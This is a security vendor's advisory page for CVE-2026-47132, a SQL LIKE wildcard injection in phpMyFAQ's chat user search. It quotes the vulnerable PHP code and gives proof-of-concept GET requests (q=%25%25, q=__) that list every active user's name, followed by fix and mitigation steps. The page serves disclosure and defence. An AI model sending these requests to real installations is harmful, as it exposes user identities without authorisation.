Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
MEDIUM severity

CVE-2026-47132

MEDIUMFix: thorsten/phpMyFAQ@bd4b08b

CVE-2026-47132 is a medium-severity (CVSS 5.4) vulnerability in thorsten/phpmyfaq. O3 Security confirms whether CVE-2026-47132 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration

Published
Aug 12, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 12, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐘thorsten/phpmyfaq

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ’s chat user search allows any logged-in user to bypass the intended display-name search filter and enumerate active users. The endpoint escapes SQL string syntax but does not escape % and _, which remain active LIKE wildcards.

Details

The vulnerable endpoint is:

  GET /api/chat/users?q=...

Source:

  // phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php
  $query = trim($request->query->get('q', ''));

  if (mb_strlen($query) < 2) {
      return $this->json([
          'success' => true,
          'users' => [],
      ], Response::HTTP_OK);
  }

  $chat = new Chat($this->configuration);
  $users = $chat->searchUsers($query, $this->currentUser->getUserId());

Sink:

  // phpmyfaq/src/phpMyFAQ/Chat.php
  $escapedTerm = $this->configuration->getDb()->escape(mb_strtolower($searchTerm));

  $query = sprintf(
      "SELECT u.user_id, ud.display_name
       FROM %sfaquser u
       LEFT JOIN %sfaquserdata ud ON u.user_id = ud.user_id
       WHERE u.user_id != %d
         AND u.user_id > 0
         AND LOWER(ud.display_name) LIKE '%%%s%%'
         AND u.account_status = 'active'
       LIMIT %d",
      Database::getTablePrefix(),
      Database::getTablePrefix(),
      $excludeUserId,
      $escapedTerm,
      $limit,
  );

escape() prevents SQL string breakout, but it does not escape SQL LIKE metacharacters. Therefore, attacker-controlled % and _ are interpreted by the database as wildcards.

The project already uses a safer pattern elsewhere with ESCAPE '|' and wildcard escaping, but this chat search path does not apply it.

PoC:

Tested against:

phpMyFAQ 4.2.0-alpha commit c0b7158df4bfb11d57b1ef7d471760583c9c2fae

Prerequisite: attacker has any valid authenticated user account.

  1. Ensure there are multiple active users in the database, for example:
  userId=2 displayName="Alice Finance"
  userId=3 displayName="Bob Support"
  userId=4 displayName="Carol Engineering"
  1. Send a normal query that should not match any user:
  GET /api/chat/users?q=zz HTTP/1.1
  Host: target
  Cookie: [authenticated session]

Observed response:

  {
    "success": true,
    "users": []
  }
  1. Send a wildcard query:
  GET /api/chat/users?q=%25%25 HTTP/1.1
  Host: target
  Cookie: [authenticated session]

Observed response:

  {
    "success": true,
    "users": [
      {
        "userId": 2,
        "displayName": "Alice Finance"
      },
      {
        "userId": 3,
        "displayName": "Bob Support"
      },
      {
        "userId": 4,
        "displayName": "Carol Engineering"
      }
    ]
  }

The same issue is reproducible with _ wildcards:

  GET /api/chat/users?q=__ HTTP/1.1
  Host: target
  Cookie: [authenticated session]

Local confirmation was also performed by calling the vulnerable phpMyFAQ\Chat::searchUsers() method directly with seeded users. q=zz returned no users, while q=%% and q=__ returned active users.

Impact

This is a SQL LIKE wildcard injection / search filter bypass vulnerability. Any authenticated user can enumerate active user IDs and display names through the chat user search endpoint. This may disclose internal user identities, staff names, department names, or other sensitive account information depending on deployment.

Video PoC:

https://github.com/user-attachments/assets/b684893f-ccb1-42af-9568-50900793076f

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistthorsten/phpmyfaqall versions4.2.0-alpha

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for thorsten/phpmyfaq. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update thorsten/phpmyfaq to 4.2.0-alpha or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-47132 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether CVE-2026-47132 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to CVE-2026-47132. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary An authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ’s chat user search allows any logged-in user to bypass the intended display-name search filter and enumerate active users. The endpoint escapes SQL string syntax but does not escape `%` and `_`, which remain active `LIKE` wildcards. ### Details The vulnerable endpoint is: ``` GET /api/chat/users?q=... ``` Source: ```php // phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php $query = trim($request->query->get('q', '')); if (mb_strlen($query) < 2) { return $this->json([
O3 Security · Impact-Aware SCA

Is CVE-2026-47132 in your dependencies?

O3 detects CVE-2026-47132 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.